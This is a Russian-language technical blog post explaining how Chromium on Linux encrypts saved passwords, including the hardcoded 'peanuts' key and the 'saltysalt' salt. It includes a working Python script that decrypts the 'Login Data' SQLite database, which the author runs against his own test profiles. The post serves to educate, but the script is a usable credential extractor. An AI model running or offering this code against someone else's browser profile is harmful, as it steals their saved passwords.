On Linux, Chrome previously stored credentials directly in the user‘s Gnome Keyring or KWallet, but for technical reasons, it has switched to storing the credentials in “Login Data” in the Chrome user’s profile directory, but encrypted on disk with a key that is then stored in the user’s Gnome Keyring or KWallet. If there is no available Keyring or KWallet, the data is not encrypted when stored.
Т.е:
пароли Chromium хранит в SQLite базе «Login Data» ('/home/setevoy/.config/chromium/Default/Login Data')
если gnome-keyring или KWallet установлены — то Chrome будет шифровать данные в базе с помощью пароля, который Chromium хранит в этом хранилище
если их нет, и Secret Service не активен — то пароли будут храниться в открытом виде, plain text
Проверим.
Chromium без keyring
Попробуем получить пароль из базы с Chromium без keyring.
Что бы указать ему — какой бекенд использовать, можно использовать опцию google-chrome --password-store=basic — для хранения plain text.
Другие параметры — gnome или kwallet, см. man chromium:
--password-store=<basic|gnome|kwallet>
Set the password store to use. The default is to automatically
detect based on the desktop environment. basic selects the
built in, unencrypted password store. gnome selects Gnome
keyring. kwallet selects (KDE) KWallet. (Note that KWallet may
not work reliably outside KDE.)
Кроме того — проверим D-Bus сервисы, что бы убедиться, что никакой Secret Service сейчас не активен:
CREATE INDEX logins_signon ON logins (signon_realm);
Chromium с keyring
Теперь попробуем получить пароль из SQLite базы с Chromium, который использует keyring. Для этого — включаем поддержку Secret Service в KeePass, который нам заменит «стандартный» gnome-keyring, и создаём второй каталог для данных Chromium:
mkdir /tmp/data-chrome-test-2
Запускаем браузер, но теперь указываем --password-store=gnome, и меняем user-data-dir, что бы использовать чистую SQLite базу с паролями:
...
// Password version. V10 means that the hardcoded password will be used.
// V11 means that a password is/will be stored using an OS-level library (e.g
// Libsecret). V11 will not be used if such a library is not available.
// Used for array indexing.
enum Version {
V10 = 0,
V11 = 1,
};
...
Т.е. v10 — это префикс для незашифрованных паролей, а v11 — для зашифрованных.
Хотя при этом в обоих случаях выборка из SQLite возвращает нам набор символов, а не пароль в открытом виде…
Сейчас узнаем почему.
Начнём с конца файла, с функции DecryptString():
DecryptString(): в version сохраняет версию (v10 или v11):
...
if (base::StartsWith(ciphertext, kObfuscationPrefix[Version::V10],
base::CompareCase::SENSITIVE)) {
version = Version::V10;
...
DecryptString() через вызов GetEncryptionKey() пытается получить ключ шифрования передавая версию (version) :
...
std::unique_ptr<crypto::SymmetricKey> encryption_key(
GetEncryptionKey(version));
if (!encryption_key) {
VLOG(1) << "Decryption failed: could not get the key";
return false;
}
...
если keyring есть — то Chromium сгенерирует мастер-пароль, и сохранит в базе этого keyring-сервиса
если keyring нет, и Secret Service отключен — то Chromium использует hardcoded мастер-пароль «peanuts«
И уже используя этот пароль — будет составлен key для шифрования паролей в SQLite базе данных.
Python скрипт для получения паролей
Теперь проверим всё это на практике, что бы «потрогать руками» и увидеть как оно в самом деле работает.
Среди прочего видим, что для шифрования используется AES 128 bit CBC:
...
// Key size required for 128 bit AES.
const size_t kDerivedKeySizeInBits = 128;
...
Далее в функции GetEncryptionKey() смотрим, как создаётся ключ для шифрования:
...
// Create an encryption key from our password and salt.
std::unique_ptr<crypto::SymmetricKey> encryption_key(
crypto::SymmetricKey::DeriveKeyFromPasswordUsingPbkdf2(
crypto::SymmetricKey::AES, *password, salt, kEncryptionIterations,
kDerivedKeySizeInBits));
DCHECK(encryption_key);
return encryption_key;
...
Следовательно, что бы расшифровать запись из базы данных — нам нужны такие данные, всё указано сразу в файле в переменных:
мастер-пароль password — именно он возвращается в GetPasswordV10() или GetPasswordV11()
соль — const char kSalt[] = "saltysalt"
итерации — const size_t kEncryptionIterations = 1
длина ключа — const size_t kDerivedKeySizeInBits = 128
Для декрипта паролей — нагуглился простой скрипт тут>>>, немного его переделаем под себя, получается такой:
#! /usr/bin/env python3
import sqlite3
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
def get_encrypted_data(db_path):
# choose a database
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
# connect and egt exncypted data
data = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
return data
# to get rid of padding
def clean(x):
return x[:-x[-1]].decode('utf8')
def get_decrypted_data(encrypted_password):
print("Decrypting the string: {}".format(encrypted_password))
# trim off the 'v10' that Chrome/ium prepends
encrypted_password = encrypted_password[3:]
# making the key
salt = b'saltysalt'
iv = b' ' * 16
length = 16
iterations = 1
pb_pass = "peanuts".encode('utf8')
key = PBKDF2(pb_pass, salt, length, iterations)
cipher = AES.new(key, AES.MODE_CBC, IV=iv)
decrypted = cipher.decrypt(encrypted_password)
print(clean(decrypted))
if __name__ == "__main__":
db_path = '/tmp/data-chrome-test-1/Default/Login Data'
for url, user, encrypted_password in get_encrypted_data(db_path):
get_decrypted_data(encrypted_password)
Запускаем:
./get_chrome_pass.py
Decrypting the string: b'v10\xd4#\xd6c\xabyF\xc6b\xdef\x06\xce\x14\xe3\xc5'
test911911
Отлично — есть наш пароль.
В этот раз мы получили его из «незашифрованного» хранилища.
Теперь попробуем использовать этот пароль (значение атрибута secret выше) из Chromium Safe Storage в качестве значения переменной pb_pass в нашем скрипте.
Выходим из Chromium, что бы разлочить базу, иначе будет ошибка вида:
./get_chrome_pass.py
Traceback (most recent call last):
File "./get_chrome_pass.py", line 50, in <module>
for url, user, encrypted_password in get_encrypted_data(db_path):
File "./get_chrome_pass.py", line 15, in get_encrypted_data
data = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
sqlite3.OperationalError: database is locked
В скрипте меняем базу (путь к ней):
...
if __name__ == "__main__":
# db_path = '/tmp/data-chrome-test-1/Default/Login Data'
db_path = '/tmp/data-chrome-test-2/Default/Login Data'
for url, user, encrypted_password in get_encrypted_data(db_path):
get_decrypted_data(encrypted_password)
Вместо «peanuts» подставляем в pb_pass значение из Chromium Safe Storage:
Decrypting the string: b'v11\xfc\x82\xf7H\n!@\x86\xb7\x982\xa8\x1fjA\xfd'
test911911
Готово — получили пароль из зашифрованного значения SQLite базы.
Вывод
Собственно, самое важное — пароли в SQLite шифруются всегда. Просто для систем, в которых нет бекенда типа gnome-keyring с поддержкой Secret Service — то пароль для шифрования всегда будет один и тот же для всех пользователей Chromium, что, разумеется, нельзя рассматривать, как защиту.